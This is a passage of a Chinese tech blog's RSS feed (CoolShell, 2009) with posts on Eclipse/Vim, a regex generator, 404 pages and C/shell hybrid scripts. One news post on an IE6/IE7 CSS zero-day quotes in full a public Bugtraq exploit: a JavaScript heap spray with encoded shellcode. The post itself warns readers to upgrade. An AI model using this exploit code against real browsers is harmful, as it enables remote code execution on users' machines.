/></p>\n<p>还有一个工具是<strong>Vrapper</strong>，这个工具是在Eclipse中使用Vim，你只需要在Eclipse的工具栏上点一下那个gvim的按钮就可以了。</p>\n<p><a href=\"http://vrapper.sourceforge.net/home/\">http://vrapper.sourceforge.net/home/</a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" title=\"Vrapper\" src=\"http://vrapper.sourceforge.net/img/toolbar_button.png\" alt=\"\" width=\"174\" height=\"114\" /></p>\n<p>（全文完）<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/894.html\"></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3181.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/EclipseCanoo1440x900-150x150.png\" alt=\"Eclipse和Vim快捷键桌面\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3181.html\" class=\"wp_rp_title\">Eclipse和Vim快捷键桌面</a></li><li ><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim-150x150.jpg\" alt=\"无插件Vim编程技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_title\">无插件Vim编程技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1837.html\">Eclipse 和 Vim</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1837.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>18</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>IE6/IE7 0day 漏洞</title>\n\t\t<link>https://coolshell.cn/articles/1835.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1835.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 22 Nov 2009 16:52:14 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[0day]]></category>\n\t\t<category><![CDATA[IE]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1835</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>昨天（2009年11月21日），Symantec发布了IE的一个0day安全漏洞的消息。关于这个消息，截止本文发布时，在中文社区里还没有报导。这是一个关于IE6...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1835.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1835.html\">IE6/IE7 0day 漏洞</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<div>\n<p>昨天（2009年11月21日），Symantec发布了<a href=\"http://www.symantec.com/connect/blogs/zero-day-internet-explorer-exploit-published\" target=\"_blank\">IE的一个0day安全漏洞的消息</a>。关于这个消息，截止本文发布时，在中文社区里还没有报导。这是一个关于IE6/IE7处理CSS时的一个漏洞（<a href=\"https://coolshell.cn/articles/1817.html\" target=\"_blank\">关于IE和CSS的BUG</a>）。如果你目前还在使用IE6/IE7，那你现在可能是你升级的时候了，当然，有很多人说IE8是没有问题的，但我个人还是建议在补丁出来之前先使用Firefox或Chrome。</p>\n<p>根据Symantec的的报告，他们在第一时间内测试了那个“Exploit Code”（攻击代码），根据测试结果表时，那个JavaScript的攻击代码并不是100%的可靠，而且很不可靠，但安全专家相信，100%完全可靠的“攻击代码”将会马上出现。这意味着，这段攻击代码会马上如潮水一样地放在各个有恶意的网站上，然后，所有的IE6/IE7的，打开JavaScript的用户都会被危及。</p>\n<p>目前，这段攻击代码，虽然很不可靠，但已经被证明在IE6/IE7的 Windows XP SP3上是可靠的，目前还没有相关报告说明有多少台电脑中招了，但我相信，在过去的这个周末，一定有一些人在拼命地在改善这段攻击代码，他们要赶在相关的补丁出来之前。而Microsoft，相信他还是和以前一样，一定要等到攻击很广泛的时候才会开始真正把补丁提上日程。</p>\n<p>最后，说一下攻击代码，这个代码是在<a href=\"http://seclists.org/bugtraq/2009/Nov/148\" target=\"_blank\">Bugtraq邮件组</a>中，这段攻击代码如下所示，这段代码攻击性并不可靠。</p>\n<p><span id=\"more-1835\"></span></p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">&lt;!--\nsecuritylab.ir\nK4mr4n_st () yahoo com\n--&gt;\n&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;\n&quot;&lt;a href=&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&lt;/a&gt;&quot;;&gt;\n&lt;HTML xmlns=&lt;a href=&quot;http://www.w3.org/1999/xhtml&quot;&gt;http://www.w3.org/1999/xhtml&lt;/a&gt;;&gt;\n    &lt;HEAD&gt;\n&lt;script&gt;  \n            function load(){\n                var e;\n                e=document.getElementsByTagName(&quot;STYLE&quot;)[0];\n                e.outerHTML=&quot;1&quot;;\n            }\n        &lt;/script&gt;    \n        &lt;STYLE type=&quot;text/css&quot;&gt;\n            body{ overflow: scroll; margin: 0; }\n        &lt;/style&gt;\n       \n        &lt;SCRIPT language=&quot;javascript&quot;&gt;\nvar shellcode =\nunescape(&quot;%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063&quot;);\nvar bigblock = unescape(&quot;%u9090%u9090&quot;);\nvar headersize = 20;\nvar slackspace = headersize+shellcode.length;\nwhile (bigblock.length&lt;slackspace) bigblock+=bigblock;\nfillblock = bigblock.substring(0, slackspace);\nblock = bigblock.substring(0, bigblock.length-slackspace);\nwhile(block.length+slackspace&lt;0x40000) block = block+block+fillblock;\nmemory = new Array();\nfor (x=0; x&lt;4000; x++) memory[x] = block + shellcode;\n&lt;/script&gt;\n \n    &lt;/HEAD&gt;   \n    &lt;BODY onload=&quot;load()&quot;&gt;\n    &lt;/BODY&gt;\n&lt;/HTML&gt;</pre>\n<p> </p>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" alt=\"做个环保主义的程序员\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_title\">做个环保主义的程序员</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li><li ><a href=\"https://coolshell.cn/articles/4914.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/sina_xss01-150x150.png\" alt=\"新浪微博的XSS攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4914.html\" class=\"wp_rp_title\">新浪微博的XSS攻击</a></li><li ><a href=\"https://coolshell.cn/articles/3921.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/03/IE6-Countdown-150x150.png\" alt=\"中国仍是IE6的重灾区\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3921.html\" class=\"wp_rp_title\">中国仍是IE6的重灾区</a></li><li ><a href=\"https://coolshell.cn/articles/3872.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/03/affc-image1-150x150.png\" alt=\"微软用新浪来当反面教材\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3872.html\" class=\"wp_rp_title\">微软用新浪来当反面教材</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1835.html\">IE6/IE7 0day 漏洞</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1835.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>正则表达式生成器</title>\n\t\t<link>https://coolshell.cn/articles/1830.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1830.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 20 Nov 2009 01:12:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[txt2re]]></category>\n\t\t<category><![CDATA[正则表达式]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1830</guid>\n\n\t\t\t\t\t<description><![CDATA[<p> 对正则表达式很头疼，是不是？每次看到都觉得像看天书似的，别说让人自己整一个出来了。下面这个网站可以帮你生成正则表达式，而且还可以根据不同的语言生成不同的代码示...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1830.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1830.html\">正则表达式生成器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://www.txt2re.com/index.php3\" target=\"_blank\"></a> 对正则表达式很头疼，是不是？每次看到都觉得像看天书似的，别说让人自己整一个出来了。下面这个网站可以帮你生成正则表达式，而且还可以根据不同的语言生成不同的代码示例，很强大。</p>\n<p style=\"text-align: center;\"><a href=\"http://www.txt2re.com/index.php3\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" title=\"txt2re.com\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/txt2re.jpg\" alt=\"txt2re.com\" width=\"270\" height=\"104\" /></a></p>\n<p style=\"text-align: center;\"><a href=\"http://www.txt2re.com/index.php3\" target=\"_blank\">http://www.txt2re.com/index.php3</a></p>\n<p style=\"text-align: left;\">打开上面那个网页，你会看到有三步。</p>\n<ul>\n<li>\n<div style=\"text-align: left;\">第一步，输出你想匹配的一个文本示例，然后点“Show Machted”，于是进入第二点。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">第二步，当你看到那花花绿绿的界面是不要头大（那个配色也太可怕了），那是这个会把你的这个字串每个字符都拆出来，并把单词分隔。于是，你可以点击那些花绿格子间的链接来组织你的正规表达式。，比如：c表示任意字符，还有什么int,day,string之流的东西。（相当ugly的界面）在这一步，你一点要点点什么，不然不会进入第三步。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">第三步，选择一个编程语言，然后你可以看到相关的代码示例。语言支持：Perl  PHP  Python  Java  Javascript  ColdFusion  C  C++  Ruby  VB  VBScript  J#.net  C#.net  C++.net  VB.net （这么多）</div>\n</li>\n</ul>\n<p style=\"text-align: left;\">总之，这是一个很酷，但却界面很丑陋的在线的正则表达式生成工具。</p>\n<p style=\"text-align: left;\"> </p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2704.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"检查素数的正则表达式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2704.html\" class=\"wp_rp_title\">检查素数的正则表达式</a></li><li ><a href=\"https://coolshell.cn/articles/2667.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"浏览器正则表达式检查插件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2667.html\" class=\"wp_rp_title\">浏览器正则表达式检查插件</a></li><li ><a href=\"https://coolshell.cn/articles/1387.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"十个Web开发文章和教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1387.html\" class=\"wp_rp_title\">十个Web开发文章和教程</a></li><li ><a href=\"https://coolshell.cn/articles/3136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"chmod -x chmod的N种解法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3136.html\" class=\"wp_rp_title\">chmod -x chmod的N种解法</a></li><li ><a href=\"https://coolshell.cn/articles/737.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/snake-150x150.jpg\" alt=\"某Python实现的尾部递归\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/737.html\" class=\"wp_rp_title\">某Python实现的尾部递归</a></li><li ><a href=\"https://coolshell.cn/articles/595.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Oracle成功收购Sun\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/595.html\" class=\"wp_rp_title\">Oracle成功收购Sun</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1830.html\">正则表达式生成器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1830.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>13</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>几个有趣的404错误页面</title>\n\t\t<link>https://coolshell.cn/articles/1826.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1826.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 19 Nov 2009 06:46:54 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[404]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1826</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Windows的经典蓝屏 http://www.nerdiphythesoul.com/404.html http://huml.org/404.shtml I...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1826.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1826.html\">几个有趣的404错误页面</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Windows的经典蓝屏<br />\n<a href=\"http://www.nerdiphythesoul.com/404.html\">http://www.nerdiphythesoul.com/404.html</a><br />\n<a href=\"http://huml.org/404.shtml\">http://huml.org/404.shtml</a></p>\n<p>IE经典的404错误（但却又不一样）<br />\n<a href=\"http://www.homestarrunner.com/systemisdown.html\">http://www.homestarrunner.com/systemisdown.html</a></p>\n<p>出错的时候不忘让你学习学习HTTP的返回码<br />\n<a href=\"http://www.notonebit.com/s\">http://www.notonebit.com/s</a></p>\n<p><span id=\"more-1826\"></span></p>\n<p>漫画式的出错(这样的方法可能会很多)<br />\n<a href=\"http://www.homestarrunner.com/thisisntgoingtowork\">http://www.homestarrunner.com/thisisntgoingtowork</a></p>\n<p>废话！当然是文件找不到！<br />\n<a href=\"http://www.itchyrobot.com/404\">http://www.itchyrobot.com/404</a></p>\n<p>ASCII码拼成的404<br />\n<a href=\"http://10e.org/404.html\">http://10e.org/404.html</a><br />\n<a href=\"http://www.zhangshuodesign.com/404.html\">http://www.zhangshuodesign.com/404.html</a></p>\n<p>出错了，那就玩个游戏吧<br />\n<a href=\"http://atomicbombshell.com/error-page/\">http://atomicbombshell.com/error-page/</a><br />\n<a href=\"http://www.loadeddice.co.uk/errors/404.php\">http://www.loadeddice.co.uk/errors/404.php</a><br />\n<a href=\"http://s8.hk/error/page404.html\">http://s8.hk/error/page404.html</a></p>\n<p>随机搞笑图片<br />\n<a href=\"http://www.b3ta.com/404\">http://www.b3ta.com/404</a></p>\n<p>终端界面式的<br />\n<a href=\"http://www.psyklone.com/jhjhj.html\">http://www.psyklone.com/jhjhj.html</a></p>\n<p>超级玛丽<br />\n<a href=\"http://www.dawdle.com/error_page.php\">http://www.dawdle.com/error_page.php</a></p>\n<p>流程图<br />\n<a href=\"http://www.orangecoat.com/404\">http://www.orangecoat.com/404</a><br />\n<a href=\"http://rubberducky.org/404\">http://rubberducky.org/404</a></p>\n<p>生活中的404<br />\n<a href=\"http://www.ddz.net/404/index.htm\">http://www.ddz.net/404/index.htm</a></p>\n<p>通缉不存在的页面<br />\n<a href=\"http://www.hongkiat.com/blog/60-really-cool-and-creative-error-404-pages/\">http://www.hongkiat.com/blog/60-really-cool-and-creative-error-404-pages/</a></p>\n<p>电视屏幕型<br />\n<a href=\"http://aviationreviews.com/404\">http://aviationreviews.com/404</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1826.html\">几个有趣的404错误页面</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1826.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C语言和sh脚本的杂交代码</title>\n\t\t<link>https://coolshell.cn/articles/1824.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1824.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 19 Nov 2009 05:47:51 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Bash]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1824</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在网上看到了一个把 C语言和bash杂并起来的例子，这个示子如下所示。在下面这个例子中，我们把脚本用#if 0这个预编译给起来，这样就不会让其编译到C语言中了。...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1824.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1824.html\">C语言和sh脚本的杂交代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在网上看到了一个把 C语言和bash杂并起来的例子，这个示子如下所示。在下面这个例子中，我们把脚本用#if 0这个预编译给起来，这样就不会让其编译到C语言中了。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#if 0\necho &quot;Hello from bash!&quot;\nexit\n#endif\n#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\nint main(int argc, char* argv[]) {\n  puts(&quot;Hello from C!&quot;);\n  return EXIT_SUCCESS;\n}</pre>\n<p>下面，让我看看如果来使用这样的程序：</p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">$ sh test.sh.c\nHello from bash!\n$ gcc test.sh.c -o test\n$ ./test\nHello from C!\n</pre>\n<p>你甚至还可以做一个自我编译，并自我运行的源代码。如下所示：</p>\n<p><span id=\"more-1824\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#if 0\nfile=`mktemp`\ngcc -o $file $0\n$file\nrm $file\nexit\n#endif\n#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n\nint main(int argc, char *argv[]) {\n  puts(&quot;Hello from C!&quot;);\n  return EXIT_SUCCESS;\n}</pre>\n<p>运行：</p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">$ sh test.sh.c\nHello from C!\n$</pre>\n<p>当然，我并不建议你在真正的开发环境中这样使用，我只不过是在介绍一个比较有趣的用法，仅此而已！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" 